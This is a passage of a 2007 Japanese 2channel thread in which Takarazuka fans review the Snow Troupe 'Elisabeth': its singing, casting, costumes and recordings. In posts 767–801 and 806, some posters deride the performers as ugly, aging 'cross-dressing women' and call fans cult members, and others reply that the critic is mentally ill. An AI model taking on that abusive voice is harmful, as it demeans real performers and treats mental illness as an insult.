そりゃ出演者の痛いファンなら最高級の賛辞を送るだろよ。

734 ：名無しさん＠花束いっぱい。：2007/07/18(水) 21:12:15 ID:m6hJMvna

となみシシィは気に入った。
何にも知らないお嬢さんが結婚して初めて大きな壁にぶつかって
自分でなんとかしなきゃと浮かんだり沈んだり
しながら人生を歩んでいく様子が心にしみてとても良かった。

735 ：名無しさん＠花束いっぱい。：2007/07/18(水) 21:42:04 ID:LZtX/ofu

シシィは何も知らないお嬢さんじゃない。
少女時代から自我が確立された人間。

734のシシィ像ってめちゃくちゃよくあるパターンだな。

となみの演技の浅さを感じる。

736 ：名無しさん＠花束いっぱい。：2007/07/18(水) 22:17:00 ID:tHvXyDZj

>>735
君のほうが、よくあるたたきのパターンだよｗ

737 ：名無しさん＠花束いっぱい。：2007/07/18(水) 23:09:34 ID:12rKQDWG

>720>721>722
アゴ長いというより
むしろ
シャクレでは・・・

738 ：名無しさん＠花束いっぱい。：2007/07/18(水) 23:38:02 ID:ioXThrV4

>>737
長い上にシャクレている。ｽﾏﾝ水…

739 ：名無しさん＠花束いっぱい。：2007/07/18(水) 23:48:20 ID:04Uz5uts

>732　それは単に、あなたの回りでの話でしょう。
雪エリザ、｢私の周りでは」もっと評価高いよ？

740 ：名無しさん＠花束いっぱい。：2007/07/18(水) 23:59:34 ID:oRbAETeX

雪エリザはよかったと思うよ。
結局は個々の好みの問題じゃないの？

でも一言言わせてもらうとマデレーネ嬢だけが全然納得いかない。
ウィーン一の美人ぞろいのトップがあんなんでいいのか？
…と思わずにはいられなかった。

741 ：名無しさん＠花束いっぱい。：2007/07/19(木) 00:57:49 ID:8l9/blak

いや、でも宙のゆら姐さんってのもあったわけで＞マデレーネ
ところで前から気になってたんだが、ゆらマデレーネだけパンツが黒だよね？
見た目も熟した感じな上にパンツが黒かいっ！！って突っ込んでしまった覚えがある。

742 ：名無しさん＠花束いっぱい。：2007/07/19(木) 01:00:24 ID:8l9/blak

うわ！！
黒パンツの書き込みをしたらIDまでが…orz

743 ：名無しさん＠花束いっぱい。：2007/07/19(木) 22:57:00 ID:RoV0W4yP

さっき観てきた。
ルキーニが大劇より浮いてなかった。なじんでてよかったよ。

水さん、大劇よりよかった。こういうトートもありだな。カッコよかった。
歌はごまかしつつ何とか…でも、歌に入り込みたいときは
自分のほうがテンション上げて聴きにいかないとダメなのがツライ。
表情・全身の動きに気を配って大切に演じてるのが伝わってきた。

シシィ、エリザ役をなぞってます感はやっぱり否めない。
でも頑張ってた。後半よかったよ。
ホントに難しい役なんだなとあらためて思う。

ところでラインダンスの振りを、一人で間違えて踊り続けていた人はいったい…？
皆が足をまっすぐ伸ばしてあげるトコで一人もも上げ！しかもかなり長い間でした。
あんなん初めて観ましたわ。

744 ：名無しさん＠花束いっぱい。：2007/07/19(木) 23:10:27 ID:8l9/blak

ラインダンスって最後の十回ぐらい以外は一人置きにモモ上げとまっすぐとで交互になってなかった？
あれオペラで見てたりすると隣と違うから「え？間違えた？」ってビックリする。
それとも最後の全員足上げのとこを間違ってたの？
だったら「おいおい」だけど。

745 ：名無しさん＠花束いっぱい。：2007/07/19(木) 23:45:22 ID:0dz74OA4

今日、初エリザ観劇してきました！
宝塚の舞台自体あまり観たことが無くて、大階段などでエーッ！！とビックリしたり…；
でも良かったです。
トートとエリザ役の方、高音が得意じゃないんですか？ちょっと苦しそうだなぁと思う部分がありました。
でもひたむきさや美しさに感動しました。二人の闘い的な歌？もドキドキしました。
個人的にはルドルフとルキーニ、ゾフィが好きでした！
また観たいです。

746 ：名無しさん＠花束いっぱい。：2007/07/20(金) 00:11:33 ID:Y0oHo7cN

>>743
あれはそういう振りだよ。何回も観てるなら
今頃なに言ってるの？って感じorz

747 ：名無しさん＠花束いっぱい。：2007/07/20(金) 00:43:33 ID:F/oYkYsa

おいらﾙｷｰﾆを水で観たい。昔TCAかなんかで一瞬やったのが忘れられん。
ｷﾑﾙｷｰﾆなんてもんじゃないよ、狂気、ド迫力。
もちろんﾄｰﾄも似合いすぎ、文句ないけど水ならﾙｷｰﾆをどうやるか～かなわぬ夢か～

748 ：名無しさん＠花束いっぱい。：2007/07/20(金) 02:02:16 ID:QOnF5+rA

ＴＣＡ2001マミﾄｰﾄの時だね。るいるいｼｼｨもきれいだった。
水ﾙｷｰﾆの完成度も高かったし霧やんの「最後のﾀﾞﾝｽ」ｶｹﾞｿﾛも忘れ難い名唱。
あれはｲﾍﾞﾝﾄとは思えないほどの出来映えだったな。

749 ：名無しさん＠花束いっぱい。：2007/07/20(金) 02:33:56 ID:ZukVKxNI

シシィは宙組のホレ、なんだっけかあ゛ー出てこねぇ、もう辞めたコ
傭兵ピエールで腹だか背中だかに…って余計なことは覚えてるし、もう！
えーとジャンヌの変わりに焼かれちゃった男役のキレイなコ。じゃね？
ってなげーよｼﾞﾌﾞﾝorz

ミズルキーニは見たいな、うん。

750 ：名無しさん＠花束いっぱい。：2007/07/20(金) 03:30:16 ID:HlU/1j8S

>749
元宙のあいりちゃんだった筈。
あのTCAをビデオで見た時、水ルキーニやってくれないかなと本気で思った。

雪エリザ、日曜の3:30の回を観てきたけど、座った席が悪かったのか1幕終わった後にマイクの音大きすぎで耳が痛かった。
東宝は劇場が新しい割には音響良くないから音声さん頑張ってくれー。
雪エリザは初見だけど面白かったからそれだけが残念。

751 ：名無しさん＠花束いっぱい。：2007/07/20(金) 07:15:08 ID:nixFFeoI

>750
大劇でも音すんごく大きかったですよ
丁度音響バッチリのとこに座ったのかもしれないけど

752 ：名無しさん＠花束いっぱい。：2007/07/20(金) 09:39:58 ID:IldI8wuW

私は逆に東宝、音小さすぎ、って思ったｗ
日によって違うのかな。

753 ：名無しさん＠花束いっぱい。：2007/07/20(金) 10:15:23 ID:+CWKiHBj

トートもシシィも結局マイクに頼りすぎなんだよね～声量無いから。
頑張ってるし、上手くなってきてるんだけど、まだ物足りない。
他キャストも成長した東宝だと、余計に２人の穴が大きく感じられる。
うーん、もっと似合う作品はあっただろうよ、と今でも思うよ。

でも予想よりはずっといい！　とは思って楽しんでる。

754 ：名無しさん＠花束いっぱい。：2007/07/20(金) 12:30:25 ID:IldI8wuW

うん、予想よりずっと良かったよ。
中一の娘が、水さんの声が気持ちがいい、と言っていた。
好みなのかな。

755 ：名無しさん＠花束いっぱい。：2007/07/20(金) 13:25:34 ID:0FGWAQmO

水ルキーニ見たかったな・・・

理事特出トート、お花シシィ、たかこフランツ、タニルドルフ
なんて考えてたヅカはまりたての頃の自分。

宙でもうやってた上、タカハナじゃ黄泉の国行きそうにないじゃないか・・・

756 ：名無しさん＠花束いっぱい。：2007/07/20(金) 18:08:37 ID:/MZs2odS

来月のスカステTCAスペシャル特集で水ルキ見れるかな？

757 ：名無しさん＠花束いっぱい。：2007/07/20(金) 20:03:07 ID:sag2CfmR

2001年の「宝塚夢世紀」だったと思う、水ルキ。

758 ：名無しさん＠花束いっぱい。：2007/07/20(金) 22:17:22 ID:jlvqNZQI

http://www.youtube.com/watch?v=Jq3Oz9_d2Bk

これか　水ルキーニ

759 ：名無しさん＠花束いっぱい。：2007/07/21(土) 01:16:49 ID:eoRPDaHg

いいねーこの水ルキーニ。
ビジュ的にもかなり好みだ。
でももう絶対やることはないよな・・・

760 ：名無しさん＠花束いっぱい。：2007/07/21(土) 01:20:41 ID:Fi/uLKnG

新鮮だなこのビジュアルｗ
それこそTCAとかでやらないと見れないだろうな。

豚切るが、公演見てないのでGRAPH見て初めて知ったが、
フィナーレのキムの衣装、安っぽく見えるな・・・
前のきりやんのはかっこよかったのに・・・

761 ：名無しさん＠花束いっぱい。：2007/07/21(土) 01:22:00 ID:7O9QK7Nu

きりやんの衣装って・・フィンチもオソロで着てたヤツ？

762 ：名無しさん＠花束いっぱい。：2007/07/21(土) 03:00:48 ID:0uTwzMu/

>758
ロン毛ルキーニいいね。水はヒゲ似合うなぁ。

>760
色がキムと合ってないのかね？ちょっとガクランっぽいし。

763 ：名無しさん＠花束いっぱい。：2007/07/21(土) 09:49:20 ID:y9o6Dk7M

というか、キムの衣装がなんか安っぽく見えるの（キムのせいではなく）
色々衣装新調したのにこれだけはいただけなかった
歴代ルキフィナーレ衣装はどれも結構よかったのに

764 ：名無しさん＠花束いっぱい。：2007/07/21(土) 16:16:56 ID:GYzinszJ

あれ、あの衣装って今までと違ってるんだ・・・。
あの衣装見て理事を思い出してたよ・・・。

765 ：名無しさん＠花束いっぱい。：2007/07/21(土) 18:02:01 ID:2qOFq9Pg

ｷﾑのだけ色あいが薄いつーか、淡いんだよね＞ﾍﾞｰｽの色調

理事もﾘｶもﾜﾀﾙもｱｻｺも濃紺系で、ｷﾘﾔﾝも確か濃い紫だったと思うんだが
ｷﾑだけﾗﾍﾞﾝﾀﾞｰ系の淡い色…
だから余計に歴代と比べると違和感感じるんだよねー

766 ：名無しさん＠花束いっぱい。：2007/07/22(日) 01:57:45 ID:wQA1sp6B

宝塚は数年に一度、輸入ミューの時だけ足を運ぶ隣の住人です。
エリザということで本日観てきました。
顔だけでいえば密告者の衣装がえんじ色の方がお気に入りでした。中堅さんなのでしょうか？
ルキは私のルキ像とはちがいましたが、他の役をどうやるのか演者さんとして気にいりました。
フランツは安定していてうまいんだけど、地味かなあ。
ルドは型というか、なんとなく女性をそこはかとなく感じたりもしましたが、今後に期待？
ゾフィーは歌うまいですね！東宝版の死の歌を楽しみにしていたのであっけなく運び出されてがっかり。
ラストはいきなりショーが始まりびっくり。
ラインダンスにびっくり。
緑色衣装の男役群舞の次に娘役群舞に突入し総人数を認識してびっくり。
羽根が光っていてびっくり。
羽根ってメインどころさんがつけると思っていたのですが、トップさんだけなんですね。
そして、同じ演出家なのに演出の違いが新鮮でした。
木から落ちる場面では、LEDや映像使わなくてもシンプルにできるんじゃん、と突っ込みつつ。

以上、長々とすみません。お邪魔しました。

767 ：名無しさん＠花束いっぱい。：2007/07/22(日) 02:25:30 ID:+DTig0qn

今回初めてヅカ版みたけど駄目だった。
トートとシシィが歌が弱すぎ。
特にシシィの音域の狭さ、音程の悪さが目立ってた。
ダンスは弱々しい上に群舞の同調性もない。
コーラスの弱さは言わずもがな。
あと、世界観が全く自分に合わなかった。
30過ぎの不細工な男装おばさんにキャーキャー言う神経がまったく理解不能い。
とにかく圧塗りメイクがきもい。
そして、いい年のおばさんとまったくマッチしてない悪趣味な劇場。

768 ：名無しさん＠花束いっぱい。：2007/07/22(日) 02:31:11 ID:zP9S44Qd

>766
お前何もしらないふりして。、そーやって叩くの最悪。
だれのファンだよ。

769 ：名無しさん＠花束いっぱい。：2007/07/22(日) 02:37:52 ID:5MzT+qn1

はいはいスルースルー
とりあえずageるな素人

770 ：名無しさん＠花束いっぱい。：2007/07/22(日) 02:39:40 ID:w39ZXOHZ

エリザ本Ⅱが発売されたんだよね。
どうだった？

771 ：名無しさん＠花束いっぱい。：2007/07/22(日) 07:26:30 ID:8ao6u7s4

キャトルで実況CD聴いたが、
私が踊る時のラスト、となみの声が聞こえなかったんだが・・・
たまたま聞こえなかったのかな・・・

772 ：名無しさん＠花束いっぱい。：2007/07/22(日) 08:46:54 ID:BLykDvPR

そうなの？実際の舞台では、
「そんなに声張り上げたら、ただでさえ声量の無い水の声が聴こえない…」
って思っちゃう位張り上げてたよね。
あと、手をそんなにぶんぶん振り回すなよ、品が無い、とも思った…。

773 ：名無しさん＠花束いっぱい。：2007/07/22(日) 08:59:19 ID:geewhVb2

>770
まだ全部読んだわけじゃないけど、衣装の細かいアップとか
全組の衣装の比較とかが興味深かった

774 ：名無しさん＠花束いっぱい。：2007/07/22(日) 09:11:31 ID:4P96hGSk

え？766ﾀﾝは別に久しぶりに観たという、普通の住人さんでしょ。
ちっとも叩いてるようにみえませんが？？

ついでに>>766ﾀﾝ、羽は今回はトートのみでしたが、
毎回トップのみが羽背負いという訳ではありませんよ。

775 ：名無しさん＠花束いっぱい。：2007/07/22(日) 09:35:06 ID:wyy8dOiP

>774
766じゃなくて767の間違いかと思われ。

エリザ本、おさあさみずの鼎談が、やはり読み応えあった。
あさこはルキよりエリザ目線なのね（当然か）。
それから上にも書いてあるけど、衣装もひとつひとつ（トート・シシィのみ）丁寧に
衣装の先生の言葉を添えて紹介してあって、とくにトートのは暗い色調が
多くてわかりにくかったので、なるほどーでした。
個人的にシシイの木から落ちたときの衣装、可愛いーーと思いました。
あとお遊びのページ（伝言していって最終的に元の人に戻る）も面白かったよ。

776 ：名無しさん＠花束いっぱい。：2007/07/22(日) 09:41:26 ID:wQA1sp6B

766ですがお気にさわったようですみません。。。
最近前回観たのは彩飾さんのエリザとJ&H作曲者の日本初演作程度で誰のファンでもないです。

羽根の件は教えていただきありがとうございました。
以前は他にもいたような気がしたので、アレ？と思ったので。
あれをしょってあの早さで足元をみずに階段をおりるのはさすがですね。
もうひとつ教えていただけると嬉しいのですが、最後に階段でソロで歌っていた娘役さんはどなたでしょうか？

777 ：名無しさん＠花束いっぱい。：2007/07/22(日) 09:43:48 ID:8ao6u7s4

すまん、マジで気になる。

彩　飾　って誰だｗ
どんな誤字だｗ

778 ：名無しさん＠花束いっぱい。：2007/07/22(日) 09:48:19 ID:4P96hGSk

>>776
気にしないでね。あなたのこと指してるのではなかったみたい。
最後の大階段の歌はエトワールと言って、
エリザなら、マダムヴォルフ役をやった晴華みどりさんです。

779 ：名無しさん＠花束いっぱい。：2007/07/22(日) 10:31:05 ID:wQA1sp6B

ひぃっ、お名前まちがえてすみませんっ。
彩輝さんです。

マダムてエトワール(っていうんですね)が一緒とは。
あそこは宅配の踊り子さんに気をとられていてマダム注目してなかったので残念。
パンフで調べたら、お顔立ちが気に入った密告者は柊さんでした。
ざっとここを読んだ限りではあまり話題にはなっていないでしょうか？
呼び名(愛称？)がわからなで読み落としかもしれませんが。

ご親切にレスいただきありがとうございました。
滅多に観ない世界なので珍しくてお邪魔してしまいました。
宝塚で海外翻訳ものをやると退団(今回初めてお披露目)が多いので隣板住人にはチケどりが辛いのが悩みです。
そろそろ巣(隣板)に帰ります。

780 ：名無しさん＠花束いっぱい。：2007/07/22(日) 11:40:16 ID:ZhDOZutl

>772
同意。「私が踊るとき」の水トート弱すぎる。
東宝エリザほどのバトルでなくとも
やっぱりあの場面は迫力がほしい。

でも最悪なのは闇広だなぁ～
こんなに聞いててつらい闇広は初めてだ。
せっかく見た目がいいんだから
とにかく歌がんがれ
特にルドルフ「王座ー！」の所だけでも気合入れてくれ

781 ：名無しさん＠花束いっぱい。：2007/07/22(日) 13:38:45 ID:oXHJUSTF

>>766
密告者のエンジの方は、おそらく柊巴(ひいらぎ･ともえ)と思われます。通称ラギ

美形ですが路線スターではないので、割りと中堅さんかな。学年は割りと低いんだけど

782 ：名無しさん＠花束いっぱい。：2007/07/22(日) 13:39:42 ID:pwHnknEX

ラギ、今日の公演の出番全部ちゃんと出てる？

783 ：名無しさん＠花束いっぱい。：2007/07/22(日) 14:53:22 ID:+DTig0qn

よーく考えて見なよ。
30過ぎ不細工厚塗りメイクの男装おばさんの下手な歌とダンスの何が楽しいの。
こんなのにハマルのは、正常な思考ができないよっぽど人生せっぱつまってる人なんだと思う。

784 ：名無しさん＠花束いっぱい。：2007/07/22(日) 14:57:48 ID:oj2NwImY

↑
＞＞７８３
切羽詰ってる感、ありあり、自分の人生考えた方がいいような。

785 ：名無しさん＠花束いっぱい。：2007/07/22(日) 15:27:00 ID:V0Lf4Vnm

ヽ('Α`)ﾉ　お～ざ～
　｜　｜
ノω＼

786 ：名無しさん＠花束いっぱい。：2007/07/22(日) 15:28:25 ID:V0Lf4Vnm

ｽﾞﾚたので修業してｷﾏｽ

787 ：名無しさん＠花束いっぱい。：2007/07/22(日) 15:44:13 ID:+DTig0qn

アゴトートのためストーリー改悪。
男装ばばあの気持悪い集団レビューのため上演時間短縮。
もう完全にストーリーが破綻してる。
この演目をエリザベートと名乗るのはやめてほしい。

788 ：名無しさん＠花束いっぱい。：2007/07/22(日) 15:51:01 ID:+DTig0qn

そして、決定的に気持悪いのが終演後のお見送り？
これ宗教だよね。
30過ぎの顔がブツブツのおばさんに歓声をあげる婆さんども。
もう、滑稽を通り越して気持悪くなった。

789 ：名無しさん＠花束いっぱい。：2007/07/22(日) 16:19:02 ID:2YoJitbi

病院へ行け、よく診てもらって来い。

790 ：名無しさん＠花束いっぱい。：2007/07/22(日) 16:51:12 ID:B/V8w4E2

2ちゃんなんかに来ないで静養しなされ

791 ：名無しさん＠花束いっぱい。：2007/07/22(日) 16:56:07 ID:+DTig0qn

・あごが長いトート
・聞くに堪えない歌唱力のシシィ
・男役という名の３０過ぎの不細工男装おばさん
・ストーリー改悪、時間短縮の劣化版エリザベート
・宗教団体のようなお見送りの儀式

全部事実だと思うけど。
反論できないの？

792 ：名無しさん＠花束いっぱい。：2007/07/22(日) 17:05:30 ID:hw4Md8AB

>791
宝塚の魅力が理解できないのね。
こんなところに文句を書いて、魅力を説得されたいの？

793 ：名無しさん＠花束いっぱい。：2007/07/22(日) 17:06:12 ID:+DTig0qn

あ、ヅカファンはそういうの承知で見に行ってるんだよね。
いくらレベルが低くても、いくら年逝った男装おばさんでも、
せっせと劇場に通ってお布施してるんだよね。
あたまが下がるな、最高のお客さんだ。
それともマインドコントロールでもされてるのかな？

794 ：名無しさん＠花束いっぱい。：2007/07/22(日) 17:14:32 ID:73bjlC5l

もういいから、ちょっと美味しいものでも食って休みなはれ。
なんだかかわいそうになってきたよ・・・。

795 ：名無しさん＠花束いっぱい。：2007/07/22(日) 17:43:32 ID:6EtElhef

こんな奴が病院へ来たら、それはそれで病院も迷惑な話だけど、
とりあえず診察してもらえ。

796 ：名無しさん＠花束いっぱい。：2007/07/22(日) 18:07:27 ID:pOQxYU6Q

+DTig0qnのようなの見ると以前ウィーン版スレで宝塚を関西の恥とまで言って
精神病認定されてたヤシ思い出すな。
万人が気に入るものなんてあるわけないからヅカエリザが嫌いなのは一向に
かまわんけど、>>791のようなことって今回の公演始まる前からあちこちで
囁かれてたのを知らんかったのか？
わざわざ金と時間を割いて見たらやっぱり気に食わなかったので、基本的に
ヅカファンが集まるスレまでやってきて軽蔑しなきゃ悔しくてしょうがないんだな。
哀れだなw
見にきて

797 ：名無しさん＠花束いっぱい。：2007/07/22(日) 19:39:29 ID:O4W+zyiv

出まで見てミズのブツブツまで確認してるんだから、
普通に塚ファンでしょ。
一般ファンがこんなムキにならないよ。

798 ：名無しさん＠花束いっぱい。：2007/07/22(日) 20:52:23 ID:iGb3ji9l

でも病んでるには違いない。

799 ：名無しさん＠花束いっぱい。：2007/07/22(日) 22:50:17 ID:maw7MyU4

そんなにﾐｽﾞに注目しちゃってｗｗｗ
+DTig0qnはおミズのファンかぁーーー(´∀｀)もうﾐｽﾞﾌｧﾝで認定。
よかったね★ミズちゃん見れて★

800 ：名無しさん＠花束いっぱい。：2007/07/22(日) 23:03:08 ID:8ao6u7s4

豚切りますよ。

エリザ本、なかなかよかった。
しかし、水の衣装がほぼ全部開襟なのが・・・
たまには締めろよと・・・

801 ：名無しさん＠花束いっぱい。：2007/07/22(日) 23:29:09 ID:+DTig0qn

・あごが長いトート
・聞くに堪えない歌唱力のシシィ
・男役という名の３０過ぎの不細工男装おばさん
・ストーリー改悪、時間短縮の劣化版エリザベート
・宗教団体のようなお見送りの儀式

802 ：名無しさん＠花束いっぱい。：2007/07/22(日) 23:39:01 ID:pm+8fDNo

>>801

出てってーーー（ｂｙシシィ）

803 ：名無しさん＠花束いっぱい。：2007/07/22(日) 23:41:45 ID:ZAcUXnZh

>801
ひつこい！そんなにイヤだったら、何回も同じ事を書きにこなくていいんじゃない？

804 ：名無しさん＠花束いっぱい。：2007/07/22(日) 23:41:47 ID:0I7aJfF2

念仏おばさん、ここに現る。

何とかの一つ覚えを繰り返す。

しばらく此処に住み着くそうです。

805 ：名無しさん＠花束いっぱい。：2007/07/22(日) 23:45:40 ID:CTroUuWk

何度も出てくるところを見ると、ヅカファンなんだろうなと思う。
正直に好きだといえばいいのに～ｗ

806 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:05:49 ID:uUBPdirB

だが、801の書いてる内容は当たりかと・・・

ミズ、好きな人がいるのは認めるけど
ブサイクだし、歌も下手で
なんでトートなのか判らない。
今回の雪エリザもイイトコもいっぱいあるけど
あのトートが最後に昇天で歌うのか～と思うと
チケ取りに気合いが入らなかった。

入り待ち出待ちの恒例行事は、長年宝塚ファンだけど、傍目で見ていて引く。
特に近年高齢化してからは。
以前みたいに20代ぐらいまでがほとんどだったときは
まあそういうのもありか～ってぐらいに思ったけど。

807 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:08:11 ID:ixg55Xs4

私だけでしょうか…
BSで「望郷は海を越えて」を見て水の歌唱力に本気で感動したのは。
２ちゃん初めてみたときに水は音痴！みたいなカキコに

(°д°;;)
エエェエエェェエ???!!

ってまじでなった。
だから今回エリザも心底ハマリ役だと思ってる。
こんな人いませんか？

808 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:15:09 ID:9daSVOHj

>>807
はーい！　私も水さんトートはハマリ役だと思っていま～す。
歌も大好きです♪

809 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:21:21 ID:ixg55Xs4

ナカーマvvv

810 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:21:41 ID:reF5q8cc

うん、私たちはレベルの低い男装あばさんの舞台にキャーキャー言ってる変わりものです。
宝塚ってそういうところって知らなかった？

811 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:26:01 ID:Kz1fDYUM

ミズはおばあさんではなくて、おじさんです。
ほんとは髭のとっても似合う、オトメンなおじさんです。

812 ：名無しさん＠花束いっぱい。：2007/07/23(月) 00:35:06 ID:ixg55Xs4

>>810

男裝あばさんて…

813 ：名無しさん＠花束いっぱい。：2007/07/23(月) 02:58:13 ID:sGjQeXSy

>>807
おまいは私かｗ

望郷で惚れたが、ビデオで2回目見た時、歌下手なのはすぐわかった。
それでもかっこよかったよｗ

あの頃に比べたら、歌い方が柔らかくなったよ。

814 ：名無しさん＠花束いっぱい。：2007/07/23(月) 07:26:54 ID:+x0GT+bX

水もだけど、水だけでなく、支えている雪組がいいんよ！

みんなひっくるめて、
堪能してまつ♪

見ないといけないとこだらけで、
観劇が終わると、どっと疲れてるｗ

815 ：名無しさん＠花束いっぱい。：2007/07/23(月) 08:53:26 ID:zI8cghuH

エリザ本のゆみこの写真、好きだなー。
子供やお年寄り、何気ない風景、気に入ったわ～。

816 ：名無しさん＠花束いっぱい。：2007/07/23(月) 09:25:51 ID:WFtdGm82

ゆみこの写真はなんかあったかいねー
好きだわ

817 ：名無しさん＠花束いっぱい。：2007/07/23(月) 10:06:59 ID:sGjQeXSy

理事の個展みたいに、ゆみこの写真展とかあったら絶対行く！

818 ：名無しさん＠花束いっぱい。：2007/07/23(月) 12:32:55 ID:GBK9s1gb

ゆみこ、舞台上だと真面目そうなのにオフではギャグだからな。
そのギャップが堪らんっ

819 ：名無しさん＠花束いっぱい。：2007/07/23(月) 13:56:25 ID:uRp7r07a

ウィーン版エリザ観劇済みの、ヅカ初心者にエリザを視せるなら、雪（初演）と宙、どちらを視せたらいいですかっ？

820 ：名無しさん＠花束いっぱい。：2007/07/23(月) 14:07:49 ID:rGPy+9Np

雪（初演）がいいんじゃないかな
宙は主要キャストで歌えるのがトートだけだし、
何よりもカメラアングルがわるいような気がする。

821 ：名無しさん＠花束いっぱい。：2007/07/23(月) 14:20:33 ID:zln8Srkh

雪（初演）がいいと思う。映像は古いけどね。
ウイーン版見てるなら歌えている方がいいと思う。
>820のカメラアングル悪すぎにも1票。有名監督なんだけどね。

822 ：名無しさん＠花束いっぱい。：2007/07/23(月) 14:39:02 ID:zHgUf0/o

なぜ選択肢がその２つだけなんだろう…

823 ：名無しさん＠花束いっぱい。：2007/07/23(月) 15:47:04 ID:SRTdMrSe

手元にあるビデオ(DVD)がその2つなんじゃない？
個人的には｢私が踊る時｣が収録されてて歌唱力レベルも高い花がおすすめだけど…

824 ：名無しさん＠花束いっぱい。：2007/07/23(月) 16:55:54 ID:IlH3e9ML

そのお友達が、ウィーン版にはまって
マテのコンサートも行くような人なら
ズンコさんが出てる宙がいいと思う。

825 ：名無しさん＠花束いっぱい。：2007/07/23(月) 17:41:00 ID:ThVj9Qmg

>>819
私もオススメは花だが、その二択なら初演雪がいいかと。
耳を覆いたくなるような平均点以下の歌の人がいないからね。
宙は確かにトートはスンバラシイが主要キャストにアチャーな人が混じってるからなぁ。
あと、カメラアングルがマジで悪すぎる。見ててイライラしたorz
お友達が気に入ってくれるといいね。長文ｽﾏｿ

826 ：名無しさん＠花束いっぱい。：2007/07/23(月) 17:55:13 ID:yUl6yBGK

トートなら花。
エリザは宙。
その他は雪。

827 ：名無しさん＠花束いっぱい。：2007/07/23(月) 18:42:41 ID:uRp7r07a

819の者です。貴重なご意見ありがとうございます。一応、トート、エリザ、ルキ、ゾフィの宝塚版を視たいと言われたので、どちらが良いのか迷ってしまって…(^_^;)

828 ：名無しさん＠花束いっぱい。：2007/07/23(月) 18:55:08 ID:RUmk5obt

なら、絶対に雪！
ルキーニ＆ゾフィは絶品（私的には）
花ちゃんも私は雪のが好き。
トート閣下はどちらもお上手だよ。

829 ：名無しさん＠花束いっぱい。：2007/07/23(月) 19:00:43 ID:Nf7WOYUO

轟ルキーニのインパクトだけでも初演雪がオススメかと

830 ：名無しさん＠花束いっぱい。：2007/07/23(月) 20:17:12 ID:M/Oyt1Oo

ネットで読んでもピンとこないのが実際の舞台観ると
いちいち納得という感じ。
水トートは本当に人間じゃないものになってる。
感情表現むき出しにしても全然人間くさくならない。
威嚇するようなすごい表情しても
宝塚の二枚目男役スターの品格が失われてない。
やっぱり観なきゃだめだね。

831 ：名無しさん＠花束いっぱい。：2007/07/23(月) 22:32:41 ID:cULJwk6x

私も実際見て、意外にも（ファンの人ごめんなさい）水が良かった。
正直、観るまではキツイんじゃないかと思ってたけど、
「最後のダンス」以外は聞きづらい所も殆どなかった。
むしろ、あのちょっとねっとり系の歌声も、
ビジュアル同様、役作りの一環？と思うほど、
ミズ独自のトートが作り上げられていたと思う。

他には、ハマコゾフィーが凄い良かった。が、ハマコがレベル高いだけに、
それぞれキャストの実力の落差が目立ってしまって、
ミュー作品として不安定な印象だった。コーラスはとても綺麗だったけれど。
（エリザは難曲揃いだから、しょうがないと思うんだけどね）
だけど、ともすればバラバラになりそうな作品が、
水のトートの存在感が「ヅカ作品としてのエリザベート」を成立させていたように思えた。
他組ファンの呟きでした。長文スマソ。

832 ：名無しさん＠花束いっぱい。：2007/07/23(月) 22:41:03 ID:B1PfSMgj

もう他のトートみてももの足りない。

833 ：名無しさん＠花束いっぱい。：2007/07/23(月) 23:35:29 ID:NnHC5e65

ウィーンエリザを目の当たりにすることによって
逆に宝塚のエリザであることの意義が再認識されたと思う。
そういう意味でとなみのあの姫っぽいエリザも十分あり。
ミズのトートもこれまでの流れからすると異色なトートだが
宝塚のロマンチックな男役文化からは絶対にはずれていない。
ミズトートととなみエリザはちゃんと同じ世界で息づいているね。
　　　　

834 ：名無しさん＠花束いっぱい。：2007/07/24(火) 01:10:04 ID:frPqVbKI

>>833あ～、それならヅカの王道、姫役者で正解なのか。

でもやっぱりシシィは姫じゃ駄目だよ・・・
役の性格変わっちゃまずいよ・・・
そういうのにしたければ、わざわざエリザやる必要ないんじゃ？と思ってしまう。

835 ：名無しさん＠花束いっぱい。：2007/07/24(火) 01:33:36 ID:IbB2lwNB

キムルキーニがよかった。
轟さんから始まり、いろんな人が演じてきたけど、
回を重ねるごとにだんだん大げさになっていって、
狂気ばかりがクローズアップされていて、
ストーリーテラーとしてのルキーニが薄くなっていったように感じていた。
でも、キムルキーニは狂気を出すところと、
物語を観客に教え、導いて行くような、そのバランスが今回の雪組に合っていて、よかったと思った。

836 ：名無しさん＠花束いっぱい。：2007/07/24(火) 01:44:50 ID:+tDKrC1s

そうだな、今回の面子できりやんとか理事みたいな濃いルキーニだと浮くな確かにｗ

837 ：名無しさん＠花束いっぱい。：2007/07/24(火) 03:29:53 ID:H/uGC5Jl

なんか一番特殊だったルキーニってリカのだったような。

838 ：名無しさん＠花束いっぱい。：2007/07/24(火) 08:43:23 ID:lHsxym0/

>834
宝塚版のエリザは初演から姫役者むけの作りになってるよ。
東宝版やウィーン版とは性格も違うし。
東宝版を先に観た自分は、異色なみどりエリザが一番本来のシシィに近い役作りで好きだったけどね。

839 ：名無しさん＠花束いっぱい。：2007/07/24(火) 11:13:05 ID:mpXbo0Ks

水トート私はかなり気に入ったんだが

シシィに拒絶されて
「ちっ」と舌打ちが聞こえそうな表情になる所とか
子ルドの猫殺しのところで
お～怖～みたいなリアクションとか
良くも悪くもマンガチックな表現が評価の分かれる点かなとも思う。
傲慢で居丈高なトート像が好きな人には合わないのかも。

歌も良くなってると思う。
惜しむらくは声量がなくて迫力足らずな事だけど
(最後のダンスがちょっと…)
今回の少女漫画的トートのイメージにはちょうど良い気もする。

840 ：名無しさん＠花束いっぱい。：2007/07/24(火) 11:37:20 ID:mpXbo0Ks

ゆみこフランツ
ムラよりかなり抑えて歌ってるような感じだったが
気のせいかな
得意の音域で歌い上げるナンバーがないせいか
低音キーが苦しそうだなという印象

ルドルフは最初こんなんでどうするんだと心配だったが
歌がすごく良くなった。闇広もハラハラしないで見てられた。
初演新公のかしげルドルフに似てきたような気がする。

ゾフィーが素晴らしい。どなたか書いてたけど
ハマコゾフィー＆ゆみフランツで
ｳｨｰﾝ版のベラリアの場面を聞きたかった。
あっさり死なせてもったいない。

841 ：名無しさん＠花束いっぱい。：2007/07/24(火) 16:42:29 ID:M/W0Kwqb

そもそも傲慢とか居丈高とか
そんな人間的な感情を超越しちゃってるよ、ミズトート。

